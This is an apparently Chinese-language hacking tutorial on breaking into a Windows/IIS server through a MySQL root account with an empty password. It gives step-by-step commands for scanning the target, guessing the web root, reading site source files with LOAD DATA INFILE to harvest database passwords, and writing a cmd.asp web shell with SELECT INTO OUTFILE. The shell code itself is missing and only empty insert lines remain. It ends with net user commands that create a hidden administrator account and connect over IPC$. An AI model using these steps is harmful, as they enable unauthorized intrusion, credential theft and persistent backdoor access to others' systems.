用mysql空口令获得cmd
[声明]
本文中核心内容都是别人的,我只是整合。
[前提说明]
1,我们假设目标系统IP为:xxx.xxx.xxx.xxx;并且其上提供的web服务的域名是:yyy.yyy.yyy
2,nmap -sX xxx.xxx.xxx.xxx
扫描到目标系统装有mysql(mysql默认端口是3306),并且已经猜解出其一个用户(当然最好是root用户)的密码。默认情况下mysql的根用户root的密码为空并且允许root从任意一台机器远程登陆。
3,得到其web根目录的绝对路径。
这可以通过试错法:即专门试图访问其一个一般不可能存在的页面,比如
http://yyy.yyy.yyy/fdsa.a,如果你幸运的话(也就是目标系统的管理员不幸运的话)你会看到目标系统的IIS给你提供的其web根目录的绝对路径名
另外就是试探法(在下面往mysql的表tmp写数据的时候试探)常见IIS根路径有:
c:\inetpub\wwwroot
c:\web
c:\webroot
c:\web_root
c:\home
c:\webhome
c:\web_home
c:\inetpub\web
c:\inetpub\webroot
c:\inetpub\web_root
c:\inetpub\home
c:\inetpub\webhome
c:\inetpub\web_home
...
另外就是把上面路径中的盘符换成d,e等。事实上,很多网站都不把web根目录放c盘上。
下面就连接目标系统的mysql
mysql -u root -h xxx.xxx.xxx.xxx
在test数据库里建一个tmp表,该表只有一个TEXT类型的字段,这个字段可以放下很多内容呢。下面我们要用此来进行中转。
show databases;
use test;
create table tmp(str TEXT);
show tables;
测试能否将一个文件的内容写入我们的数据表tmp(about.htm可以是目标网站上任一文件)
load data infile "d:\\inetpub\\wwwroot\\about.htm" into table tmp;
select * from tmp;
若tmp里面的确已经有了东西表明我们有权限写入。清空,为下面真正写cmd.asp的代码做准备
delete from tmp;
[思考]:其实我们可以用同样的方式查看目标网站上的任何源文件。这样的话,即便我们一开始没有猜出root的密码,但猜出了另外一个mysql用户的密码并且登陆进来了,那么我们可以用这种load data的方式通过查看网站程序源文件来查看mysql的root密码。因为一般网站还是比较喜欢在程序中直接用root连接mysql,因为root权限大,限制少,用起来方便:)。如果程序中直接写了mysql的连接语句那么我们可以直接看到(除非源文件加密了),或者可以通过include语句追踪数据库连接语句的位置并最终找到其root密码。
写到这忽然发现一个问题,也就是本文所谈入侵方式的一个弱点:
一般来说,php跟mysql搭配,asp跟access或mssql等搭配,因此,既装了mysql又支持asp(我们下面需要目标系统给我们解析cmd.asp)的系统并不能说是多数。废话一箩筐了,抱歉~
下面把我们的cmp.asp文件逐行写入数据表tmp
insert into tmp values("
");
insert into tmp values("");
insert into tmp values("
");
insert into tmp values("");
insert into tmp values("");
insert into tmp values("");
查看一下成果:
select * from tmp;
把写入表tmp中的内容中转到web目录下面的一个asp文件,也就是我们的cmd文件
select * from tmp into outfile "d:\\inetpub\\wwwroot\\cmd.asp";
很好,mysql应该已经帮我们创建了我们需要的文件
至此,我们已获得了一个cmd。再往后就看你自己怎么玩了。比如:
先看一下目标机器上的用户:
net user
然后我们新增一个用户:
net user guest zfw001
把我们新增的用户加入管理员组:
net localgroup administrators guest /add
以上都是通过我们的cmd.asp来帮忙执行的,下面在我们自己的机器上打开一个cmd窗口:
C:\>net use \\xxx.xxx.xxx.xxx\IPC$ "zfw001" /user:"guest"
命令完成
。。。